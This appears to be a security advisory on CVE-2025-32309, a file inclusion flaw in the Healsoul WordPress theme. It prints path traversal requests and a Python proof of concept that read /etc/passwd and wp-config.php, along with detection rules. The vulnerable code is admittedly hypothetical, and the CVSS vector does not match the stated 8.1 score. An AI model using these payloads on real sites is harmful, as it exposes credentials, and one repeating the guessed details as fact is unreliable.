CVE-2025-32309

Executive Summary

CVE-2025-32309 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the ThemeMove Healsoul WordPress theme, versions up to and including 2.2.3. This vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the potential for high confidentiality impact, as sensitive files like wp-config.php can be read. As a WordPress ecosystem issue, this vulnerability is particularly dangerous because it can lead to full site compromise if combined with other weaknesses. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability is specific to the ThemeMove Healsoul WordPress theme, which is distributed via the WordPress theme repository and potentially commercial marketplaces. As a WordPress plugin/theme, it is part of the broader WordPress supply chain. Users who have installed this theme from untrusted sources or who have not received updates are at risk. The lack of a patch from the vendor means that the supply chain is currently broken, and users must rely on alternative mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to disclosure of database credentials, API keys, and other secrets stored in WordPress configuration files.

Deep Dive & Mechanics

The vulnerability resides in the Healsoul theme's PHP code, likely within a custom template or shortcode handler that uses include() or require() with user-supplied input. The theme fails to sanitize or validate the filename parameter, allowing an attacker to traverse directories using ../ sequences and include arbitrary files from the server.

Root Cause: The theme uses a function like include($_GET['file'] . '.php'); without proper path validation. An attacker can supply a path like ../../../../etc/passwd to read system files, or ../../../wp-config to read the WordPress configuration file.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?template=... or ?file=...).
2. Attacker sends a request with a path traversal payload.
3. The server includes the specified file, outputting its contents.
4. Attacker extracts sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of the issue.

Vulnerable Code (PHP):

<?php
// Vulnerable: Direct use of user input in include
$template = $_GET['template'];
include( $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
// Patched: Whitelist allowed templates
$allowed_templates = array('home', 'single', 'page');
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
    include( $template . '.php' );
} else {
    // Handle error
    echo 'Invalid template.';
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Healsoul theme <= 2.2.3.
• A vulnerable parameter (e.g., ?template=).

Exploitation Steps:

1. Identify the vulnerable parameter by fuzzing or reviewing theme source code.
2. Craft a payload to read /etc/passwd:

   GET /?template=../../../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. To read wp-config.php:

   GET /?template=../../../wp-config HTTP/1.1
   Host: target.com
   

4. The server will include the file and display its contents.

Proof-of-Concept (Python):

import requests

target = "http://target.com"
payload = "../../../../../../etc/passwd"
url = f"{target}/?template={payload}"

response = requests.get(url)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to theme files with unexpected parameters.
• Use WAF rules to block directory traversal sequences.

Response:

• Immediately isolate the affected server.
• Review logs for data exfiltration.
• Disable or remove the Healsoul theme until a patch is available.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or %2e%2e%2f in parameters like template, file, or page.
  • Outbound connections from the server to unknown IPs (if data exfiltration occurs).
• File System IOCs:
  • Unexpected inclusion of files like /etc/passwd, /etc/shadow, or wp-config.php in web responses.
• Log IOCs:
  • Web server logs showing 200 responses to requests with path traversal patterns.

Detection Engineering

YARA Rule

rule CVE_2025_32309_LFI_Healsoul {
    meta:
        description = "Detects LFI attempts against ThemeMove Healsoul theme"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32309"
    strings:
        $path_traversal = /(\.\.\/|\.\.%2f|%2e%2e%2f)/
        $wp_config = /wp-config\.php/
        $theme_param = /template=|file=|page=/
    condition:
        any of ($path_traversal) and any of ($wp_config) and any of ($theme_param)
}

Sigma Rule

title: CVE-2025-32309 - ThemeMove Healsoul LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Healsoul theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
            - 'wp-config'
            - '/etc/passwd'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32309 - ThemeMove Healsoul LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:".."; http_uri; nocase; content:"wp-config"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Healsoul theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in HTTP requests.
3. Review server logs for any signs of exploitation and rotate exposed credentials.

Long-Term Fixes:

• The vendor must release a patched version that validates and sanitizes all user-supplied filenames before inclusion.
• Users should monitor the ThemeMove website or WordPress repository for updates.
• Consider replacing the theme with a more secure alternative if no patch is forthcoming.

Workaround:

• Add the following to .htaccess to block common LFI patterns:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f|wp-config) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers